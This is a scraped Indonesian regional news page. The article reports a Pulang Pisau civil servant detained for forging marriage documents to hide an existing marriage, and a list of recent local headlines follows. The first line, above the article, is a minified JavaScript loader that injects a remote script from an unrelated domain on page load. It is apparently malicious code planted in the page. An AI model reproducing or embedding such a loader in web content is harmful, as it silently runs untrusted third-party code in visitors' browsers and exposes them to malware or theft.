(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL PULPIS

Palsukan Dokumen Nikah, Oknum ASN Satpol PP Pulpis Digugat Cerai Istri dan Terancam Bui


KANALKALIMANTAN.COM, PULANG PISAU – Sudah jatuh tertimpa tangga, itulah yang di alami oleh HY ( 41), oknum ASN satpol PP Pulang Pisau. Bagaimana tidak, baru beberapa bulan digugat cerai oleh istrinya WW yang juga seorang ASN di Pulpis, HY juga harus berurusan dengan polisi karena diketahui memalsukan dokumen saat dirinya akan menikahi WW (40), janda juga sebagai ASN di Sidoarjo, Jawa Timur.

Demikian disampaikan dalam Press Cenference oleh Kapolres Pulang Pisau, AKBP Siswo Yuwono Bima Putra Mada didampingi Wakapolres Kompol Imam Riadi serta Kasatreskrim Iptu John Digul Manra senin ( 27/1/2020) kemarin. Disampaikan, jika surat yang dipalsukan pelaku HY adalah dokumen yang digunakan sebagai syarat untuk menikah di KUA, yaitu N1, N2, N3, N4 dan N5. Dimana dalam dokumen tersebut pelaku HY merubah statusnya yang sebenarnya sudah beristri menjadi perjaka.

“Jadi pelaku ini kepada WW yang juga ASN di Jawa sana mengaku masih bujangan, karena percaya WW menerima lamaran HY. Bahkan untuk memuluskan lamarannya, pelaku HY lalu memalsukan surat-surat yang menjadi syarat untuk nikah pada bulan Mei 2019 lalu.

Seiring waktu, WW ini pindah tugas kerja ke Pulpis, nah rupanya tahu jika HY ini sebenarnya sudah memiliki istri lain sebelumnya, yaitu ST yang juga warga Pulang Pisau. Karena merasa malu dan dibohongi, WW lalu menggugat cerai WW,” terang Kapolres yang sambil memperlihatkan dokumen yang di palsukan HY.

Atas pelanggaran tindak pidana membuat surat palsu tersebut, HY pun kini harus di tahan di Polres Pulang Pisau untuk mempertanggung jawabkan perbuatannya. Dirinya pun terancam melanggar pasal 263 ayat (1) KUHP pidana dengan ancaman pidana 6 tahun.

“Kita sudah memanggil beberapa saksi, kemudian juga mengumpulkan beberapa bukti. Namun kita masih akan tetap mengembangkan kasus ini,” terang AKBP Siswo. (Kanalkalimantan.com/Sjy)

Reporter : Sjy
Editor : Chell


Desy Arfianty

Share
Published by
Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

12 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

12 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

13 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

13 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

13 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

13 jam ago

This website uses cookies.